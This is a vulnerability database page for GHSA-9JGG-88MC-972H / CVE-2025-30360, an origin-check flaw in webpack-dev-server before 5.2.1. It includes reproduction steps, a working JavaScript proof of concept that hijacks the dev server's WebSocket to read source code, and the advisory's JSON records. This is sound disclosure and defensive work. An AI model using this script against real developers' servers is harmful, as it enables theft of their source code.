Vulnerability-Lookup

GHSA-9JGG-88MC-972H

Vulnerability from github – Published: 2025-06-04 21:09 – Updated: 2025-10-03 13:25

Summary

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

Details

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

Download reproduction.zip and extract it
Run npm i
Run npx webpack-dev-server
Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
Edit src/index.js in the extracted directory
You can see the content of src/index.js

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
        console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "webpack-dev-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-04T21:09:38Z",
    "nvd_published_at": "2025-06-03T18:15:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSource code may be stolen when you access a malicious web site with non-Chromium based browser.\n\n### Details\nThe `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.\nBut webpack-dev-server always allows IP address `Origin` headers.\nhttps://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127\nThis allows websites that are served on IP addresses to connect WebSocket.\nBy using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code.\n\nrelated commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.\n\nThis vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `http://{ipaddress}/?target=http://localhost:8080\u0026file=main` with a non-Chromium browser (I used Firefox 134.0.1)\n5. Edit `src/index.js` in the extracted directory\n6. You can see the content of `src/index.js`\n\n![image](https://github.com/user-attachments/assets/7ce3cad7-1a4d-4778-baae-1adae5e93ba4)\n\nThe script in the POC site is:\n```js\nwindow.webpackHotUpdate = (...args) =\u003e {\n    console.log(...args);\n    for (i in args[1]) {\n        document.body.innerText = args[1][i].toString() + document.body.innerText\n\t    console.log(args[1][i])\n    }\n}\n\nlet params = new URLSearchParams(window.location.search);\nlet target = new URL(params.get(\u0027target\u0027) || \u0027http://127.0.0.1:8080\u0027);\nlet file = params.get(\u0027file\u0027)\nlet wsProtocol = target.protocol === \u0027http:\u0027 ? \u0027ws\u0027 : \u0027wss\u0027;\nlet wsPort = target.port;\nvar currentHash = \u0027\u0027;\nvar currentHash2 = \u0027\u0027;\nlet wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;\nws = new WebSocket(wsTarget);\nws.onmessage = event =\u003e {\n    console.log(event.data);\n    if (event.data.match(\u0027\"type\":\"ok\"\u0027)) {\n        s = document.createElement(\u0027script\u0027);\n        s.src = `${target}${file}.${currentHash2}.hot-update.js`;\n        document.body.appendChild(s)\n    }\n    r = event.data.match(/\"([0-9a-f]{20})\"/);\n    if (r !== null) {\n        currentHash2 = currentHash;\n        currentHash = r[1];\n        console.log(currentHash, currentHash2);\n    }\n}\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.",
  "id": "GHSA-9jgg-88mc-972h",
  "modified": "2025-10-03T13:25:56Z",
  "published": "2025-06-04T21:09:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30360"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack-dev-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webpack-dev-server users\u0027 source code may be stolen when they access a malicious web site with non-Chromium based browser"
}

CVE-2025-30360 (GCVE-0-2025-30360)

Vulnerability from cvelistv5 – Published: 2025-06-03 17:41 – Updated: 2025-06-03 17:58

Title

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

Summary

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-06-03 17:57 UTC

CWE

CWE-346 - Origin Validation Error

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/webpack/webpack-dev-server/sec…	x_refsource_CONFIRM
https://github.com/webpack/webpack-dev-server/com…	x_refsource_MISC
https://github.com/webpack/webpack-dev-server/com…	x_refsource_MISC
https://github.com/webpack/webpack-dev-server/blo…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
webpack	webpack-dev-server	Affected: < 5.2.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-30360",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-06-03T17:57:51.255979Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-06-03T17:58:12.605Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "webpack-dev-server",
          "vendor": "webpack",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.2.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users\u0027 source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-06-03T17:41:59.457Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h"
        },
        {
          "name": "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
        },
        {
          "name": "https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb"
        },
        {
          "name": "https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127"
        }
      ],
      "source": {
        "advisory": "GHSA-9jgg-88mc-972h",
        "discovery": "UNKNOWN"
      },
      "title": "webpack-dev-server users\u0027 source code may be stolen when they access a malicious web site with non-Chromium based browser"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-30360",
    "datePublished": "2025-06-03T17:41:59.457Z",
    "dateReserved": "2025-03-21T14:12:06.271Z",
    "dateUpdated": "2025-06-03T17:58:12.605Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-9JGG-88MC-972H

Summary

Details

PoC

Impact

CVE-2025-30360 (GCVE-0-2025-30360)

Tags

Sightings

Nomenclature

Related by attack behaviour